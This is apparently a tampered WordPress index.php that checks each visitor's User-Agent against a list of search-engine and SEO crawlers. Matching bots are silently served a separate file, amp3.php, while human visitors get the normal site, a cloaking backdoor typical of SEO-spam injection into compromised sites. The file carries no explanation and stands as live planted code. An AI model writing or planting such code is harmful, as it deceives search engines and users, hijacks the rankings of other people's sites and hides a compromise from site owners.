?php $bots = array( 'Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'Sogou', 'Exabot', 'facebot', 'ia_archiver', 'AdsBot-Google', 'Applebot', 'LinkedInBot', 'Twitterbot', 'Pinterest', 'MJ12bot', 'AhrefsBot', 'SemrushBot', 'DotBot', 'BLEXBot', 'Gigabot', 'MegaIndex', 'Yeti', 'PetalBot', 'SeznamBot', 'UptimeRobot', 'Sitebulb', 'Google-Structured-Data-Testing-Tool', 'Google-InspectionTool', 'Mediapartners-Google', 'Googlebot-News' ); $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; foreach ($bots as $bot) { if (stripos($userAgent, $bot) !== false) { $ampPath = dirname(__FILE__) . '/amp3.php'; if (file_exists($ampPath)) { require $ampPath; } else { error_log('AMP dosyası bulunamadı: ' . $ampPath); } exit; } } define('WP_USE_THEMES', true); require dirname(__FILE__) . '/wp-blog-header.php';